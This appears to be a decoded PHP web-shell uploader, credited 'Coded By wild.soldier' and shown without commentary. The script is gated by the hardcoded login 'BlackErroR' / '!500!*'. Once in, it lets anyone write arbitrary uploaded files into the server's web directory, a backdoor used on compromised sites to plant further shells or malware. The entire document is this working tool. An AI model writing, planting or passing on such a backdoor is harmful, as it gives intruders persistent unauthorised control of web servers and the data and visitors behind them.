PHP Decode

<?php 
 
  //Coded By wild.soldier  
$auth_user = "BlackErroR";  
$auth_pass = "!500!*";  
@session_start();  
function Login() {  
    die("  
    <form method=post>  
    <label for=pass>Username: </label><input type=text name=username><label for=pass>Password: </label><input type=password name=pass><input type=submit> 
    </form>");  
}  
if(!isset($_SESSION[$_SERVER['HTTP_HOST']]))  
    if( empty($auth_pass) || empty($auth_user) || (isset($_POST['username']) ||  isset($_POST['pass']) ) && (($_POST['username'] == $auth_user) && ( $_POST['pass'] == $auth_pass)) )  
     
        $_SESSION[$_SERVER['HTTP_HOST']] = true;  
    else 
        Login();  
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; 
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; 
if( $_POST['_upl'] == "Upload" ) { 
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; } 
    else { echo '<b>Upload GAGAL !!!</b><br><br>'; } 
} 
?>